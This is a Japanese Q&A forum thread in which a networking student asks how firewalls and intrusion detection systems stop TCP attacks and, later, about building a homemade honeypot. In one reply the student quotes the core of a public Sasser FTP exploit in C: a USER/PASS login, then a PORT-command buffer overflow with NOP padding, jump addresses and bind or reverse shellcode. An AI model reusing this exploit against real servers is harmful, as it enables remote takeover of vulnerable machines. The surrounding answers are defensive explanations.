• ベストアンサー

ソケットを使ったTCP通信

はじめまして. 最近ネットワークの勉強を始めた学生です. ソケットを使ったTCP通信について質問させてください. クライアント側はsocket(), connect()でコネクションを確立した後に何回か連続してsend(), recv()を行いたいのに,サーバ側がファイアウォールや侵入検知システムを使って途中で通信を終了するようにしてしまっている場合,クライアント側は再びコネクションを確立させなければ全てのsend()を行うことはできないのでしょうか? よろしくお願いします.

  • 0x90
  • お礼率40% (2/5)

質問者が選んだベストアンサー

  • ベストアンサー
noname#17587
noname#17587
回答No.1

質問の条件がいまいちわかりませんが コネクションが確立し通信が始まっている場合、通信の途中でFWによる通信切断は無いと思います。(タイムアウトや他の通信のエラーを除く) 何らかの理由でセッションが切れた場合はコネクションを作成しなければなりませんが、そもそも何故FWが通信を切断するか調査する方が先でしょう。 ところでこれは現実に起こっている問題ではなく、想定の問題(課題等)でしょうか?

0x90
質問者

補足

質問の文がわかりにくくてすみません. 今回質問をさせていただいたのは,Sasser のexploit(下記参照)を見ていて疑問に思うところがあったからです. 私が読んだ限り Sasser は攻撃するために以下の手順(1)~(3)を必要としていると思うのですが,ファイアウォールや侵入検知システムといった割と一般的な防御策ではどのように通信を切断しているのか知りたいのです.(1)の段階で通信するのをやめてしまうのでしょうか. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Sasser 攻撃手順 (1)まず'USER x'を送り, (2)次に'PASS x'を送り, (3)最後にバッファオーバフローを起こす %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Sasser Exploit (www.frsirt.com/exploits/05102004.sasserftpd.c.php より引用) // -------------------- core s=socket(2,1,6); if (connect(s,(struct sockaddr *)&sin,16)!=0) { if (pid) kill(pid,SIGKILL); fatal("[-] connect()"); } printf("[+] connected, sending exploit\n"); buff=(char *)malloc(4096); bzero(buff,4096); sprintf(buff,"USER x\n"); send(s,buff,strlen(buff),0); recv(s,buff,4095,0); sprintf(buff,"PASS x\n"); send(s,buff,strlen(buff),0); recv(s,buff,4095,0); memset(buff+0000,0x90,2000); strncpy(buff,"PORT ",5); strcat(buff,"\x0a"); memcpy(buff+272,jmp[0],2); memcpy(buff+276,&targets[type].goreg,4); memcpy(buff+280,jmp[1],5); setoff(targets[type].gpa, targets[type].lla); if (bindopt) memcpy(buff+300,&bsh,strlen(bsh)); else memcpy(buff+300,&rsh,strlen(rsh)); send(s,buff,strlen(buff),0); free(buff); close(s); // -------------------- end of core

その他の回答 (2)

  • ency
  • ベストアンサー率39% (93/238)
回答No.3

No2 ency です。 ハニーポットですか。。。 0x90さんは、どのような環境を使おうとしていますか? まさか、ご自分が現在お使いの環境をそのまま使おうとは思っていませんよね? ハニーポットは、わざと脆弱性をさらしてウイルスやワームに感染させて、活動に一部始終をチェックするためのものです。 そのため、その後は、その環境自体最悪使い物にならなくなることも考慮する必要があります。 0x90さんに示していただいた URL も見ましたが、以下の一文にお気づきですか? 「■ ご注意 ■」の2項目 | あくまで遊びのレベルで作っています。細かい所は全く実装していませんので、 | 使い方によっては不具合が出る可能性があります。実用に用いるのは自殺行為 | です。現に作者はこの鯖を攻撃する方法をいくつか知っています。 このページの作成者さんも「実用に用いるのは自殺行為」とはっきりおっしゃっています。 もし、どうしても試してみたいというのであれば、参考URL に示したページに「ハニーポットの構築例」という箇所がありますので、そちらをご参考ください。 興味があるのはよくわかりますが、素人が下手に手を出せるものではありません。 以上、ご参考まで。。。

参考URL:
http://www.atmarkit.co.jp/fsecurity/special/13honey/honey01.html
0x90
質問者

お礼

encyさん,ご忠告ありがとうございます. >まさか、ご自分が現在お使いの環境をそのまま使おうとは思っていませんよね? 不正アクセスと通信を行うにあたっては,大学の研究室に企業からお招きしている 専門家の方がいらっしゃるということなので,その方の指導の下で行います. なので,よほどのことがない限り外部にご迷惑をおかけすることはありません.ご安心ください. >興味があるのはよくわかりますが、素人が下手に手を出せるものではありません。 素人といわれないように春休みはネットワークプログラミングなどをしっかり勉強します. 温かく見守ってください.

  • ency
  • ベストアンサー率39% (93/238)
回答No.2

[No1 yakkiidaさんの回答への補足より] -------------------------------------------------------- 今回質問をさせていただいたのは,Sasser のexploit(下記参照)を見ていて疑問に思うところがあったからです. 私が読んだ限り Sasser は攻撃するために以下の手順(1)~(3)を必要としていると思うのですが,ファイアウォールや侵入検知システムといった割と一般的な防御策ではどのように通信を切断しているのか知りたいのです.(1)の段階で通信するのをやめてしまうのでしょうか. -------------------------------------------------------- sasser については、「ファイアウォールでポート455をブロックしろ」ということが対策として挙げられていただけで、通信中のコネクションを途中でぶった切るというものではなかったはず。 # 当時の記事が ITmedia にありましたので、参考URL に載せておきます。 つまり、「ポート455に対して TCP SYN が飛んできても、TCP SYN/ACK は返さないようにしておけ!」ということです。 TCP SYN/ACK を返してしまった場合、あとはバッファオーバフローによって、好き勝手なコードが実行されてしまう…と、そういうわけです。 言い換えれば「途中で通信を切断する」のではなくて、「そもそも通信させない」ことなんです。 こんなので、回答になっていますか?

参考URL:
http://www.itmedia.co.jp/news/articles/0405/03/news001.html
0x90
質問者

補足

回答にはなっていませんが,Sasserの動作は参考URLに載っていた記事でよくわかりました.ありがとうございます. そもそも通信をさせなければシステムがやられたりしなくていいというのはわかるのですが,私は不正アクセスの解析みたいなことに興味があるので,春休みにはネットワークプログラミングの勉強を兼ねて,自作ハニーポットのようなものを作りたいと考えています.ハニーポットとは不正アクセスと通信をやりとりして,どんな攻撃がきたのか調べるためのものです(たぶん). なお,ハニーポット作成にあたって,ケロりんさんという方のサンプルを参考にしようかと考えています. ttp://www.geocities.co.jp/SiliconValley-Cupertino/5128/500_compu/honeypot.html 不正アクセスには,前触れもなく攻撃をはじめるタイプもありますが,システムに深刻な侵害を与える攻撃を行う前に通信を必要とするタイプ(例えばSasser)もあるので,通信を必要とするタイプの攻撃にどう応答すればいいのかということについて勉強中です.

関連するQ&A

  • ソケット通信(telnet)を行いたい

    現在、クライアントプログラムをアプレットで作ってます。 サーバ側はsocketで通信できる状態で、telnetで会話できます。 そこで質問なのですが、クライアント側でのsocket通信時の手順がわかりません。。 ソケットの入門書でわかったのはここまでです。 Socket s = new Socket("10.255.50.14", 23); でソケットを作るところはわかるのですが、そこからの手順がわかりません。。 ここから、connectとか使うのでしょうが、、 どなたかご存知の方がいらっしゃいましたらお教え願いたいと思います。

    • ベストアンサー
    • Java
  • TCP/IP通信でのコネクションロスト(ソケットエラー)の検知について

    インターネット上での対戦ゲームの作成を行なっているところです。 サーバーを挟んでクライアント間で双方向の通信を行なっています。  A → サーバー → B  A ← サーバー ← B TCP/IPは信頼性の高い通信方法ということで、データ抜けなどは 心配しなくても良いと聞いています。 もし、データ抜けなどが発生した場合はコネクションロストの状態になると。 実際のプログラミングではソケットを使用しています。 コネクションロストが起きると、ソケットエラーかソケットクローズで検知できます。 実際に例えばクライアントAを強制終了させるとサーバーはただちに ソケットクローズを検知します。 ここで、問題はデータを送っても届かないのに、 ソケットエラーもソケットクローズも起きない状態が発生することです。 これはインターネットの経路上になにか問題が発生したと考えていますが このような状態はタイムアウトなどで監視する以外に検知する方法はないのでしょうか? クライアントはウィンドウズでVB6.0のwinsockを、 サーバーはLinuxを使用しています。 なにかアドバイスをいただければありがたいです。

  • TCP通信

    OS:Win2000、VisualBasic.netで開発しています。 現在TCP通信のプログラムを製造しています。 TCPサーバとTCPクライアントのテストアプリケーションを作成し、接続テストを行っているのですが、 サーバとクライアントの接続、データ送受信の確認はできました。 しかし、一度クライアント側から接続を切断(ソケットを消去)し、 再びソケットを生成してコネクト要求を出しても接続が確立できません。 このときサーバ側はなにも操作していません。 終始接続待機状態にしてあります。 ソースがないと分かりにくいかもしれませんが、 何か思い当たることがある方、アドバイスよろしくお願いします。

  • JavaのTCPソケット通信プログラムについて

    初めてJavaでTCPソケット通信を書いてみたのですが、質問です。ソケット通信をサーバーとクライアント側で確立した後、メッセージの送受信をやるとても簡素なプログラムを作成しました。一回目の送受信をするだけだと上手くいくのですが、同じコネクション内で二回目の送受信をするよう追記したところ動作がおかしくなりました。(一つ目のメッセージも受信しないまま画面が停止した状態になる)何が問題なのでしょうか。 (Receiver.java) public class Receiver { public static final int PORT = 30000; public static void main(String[] args) { try { ServerSocket serverSoc = new ServerSocket(PORT); Socket socket = null; System.out.println("Waiting for Connection.."); socket = serverSoc.accept(); System.out.println("Connection from "+socket.getInetAddress()); // receive message BufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream())); System.out.println("Message from sender ="+new String(br.readLine())); //send message←ここを追記するとおかしくなりました。 String message = "Hey This is receiver"; BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())); System.out.println("I will send: "+message); bw.write(message); br.close(); bw.close(); socket.close(); } catch (IOException e) { e.printStackTrace(); } } } (Sender.java) public class Sender { public static final int PORT = 30000; public static void main(String[] args) { try { InetAddress LocalHost = InetAddress.getLocalHost(); InetSocketAddress socketAddress = new InetSocketAddress(LocalHost, PORT); Socket socket = new Socket(); socket.connect(socketAddress, 10000); //send message String message = "Hey This is sender"; BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream())); System.out.println("I will send: "+message); bw.write(message); // receive message←同じくここを追記するとおかしくなりました。 BufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream())); System.out.println("Message from receiver ="+new String(br.readLine())); br.close(); bw.close(); socket.close(); } catch (IOException e) { e.printStackTrace(); } } }

  • ソケット通信にてサーバ日時を取得する方法?

    ソケット通信にて(send及びrecv)でクライアントからサーバのタイム情報を取得する方法はありますか?

  • ソケットインタフェースに関して

    クライアント/サーバ間でTCP/IPソケットのプロトコルを使用してネットワークを構築しようとしています。 TCP/IPソケットで、最初のクライアントAからconnectされた状態でクライアントBから同一ポートにconnectされた場合、クライアントBからのconnectを有効にしたいと考えています。本場合、他のクライアントからconnectされたことがTCP/IP層で検知可能でしょうか?また、アプリケーション層での作りは、どのようにすればよいか知っている方教えて下さい。

  • ソケットプログラミングとスレッドについて

    TCP/IPソケットを用いた通信プログラムを作成しています。その上でacceptする処理を専用スレッドにしており、accept後の受信処理をまた別のスレッドで処理しています。コンソールプログラムにおいてサーバとクライアントを用意しテストをしてみるとうまくいくのですが、MFCプログラムにおいて同じネットワーク処理を行ってみると、サーバ側へのconnectは成功するのですが、クライアント側からsendしたときにサーバ側でrecvの戻り値が必ず0にしかならず切断された状態になってしまいます。これはどういったときに発生すると考えられるでしょうか?ちなみにMFCが絡んでいるかどうかということは特にわかっておりません。 どなたかこのような経験をお持ちであればご教授お願い致します。

  • ソケット切断後のステータスについて

    LinuxのKernel2.6.18-92で以下のような現象が発生し困っています。 回避策等、ご存知でしたら教えてください。 -現象- ソケットによるコネクションが確立している状態において、 パッシブオープン(accept)側のプロセスを異常終了させ、 コネクションを強制的に切断させた場合、 アクティブオープン(connect)側のマシンで、 netstat -a でコネクションの状態を確認すると、 たまに、ESTABLISHEDのステータスとなっていることがあり、 ソケット(コネクション)の切断が検知できません。 ソケットの切断を検知するための回避策等、ご存知でしたら教えてください。

  • TCP/IPプログラミングでのselectについて

    selectは使用しているソケットのディスクリプタを登録させれば、send、writeシステムコールからのデータの受信等は検知しますよね。 では、コネクション要求(connect)は、検知するのでしょうか? どなたか回答よろしくお願いします。

  • vb2010でソケット通信を使いたいのですが

    はじめまして。 vb2010でソケット通信を使いたくて、今TCPサーバーを作っています。 クライアント側から受信した瞬間にサーバー側から返信というのは可能でしょうか。 受信したタイミングで接続が切れてしまって困っています。 初めてソケット通信に触れてイマイチ分かってないので説明がうまくいきませんが、 どなたかわかる方がいらっしゃいましたらご回答よろしくお願いします。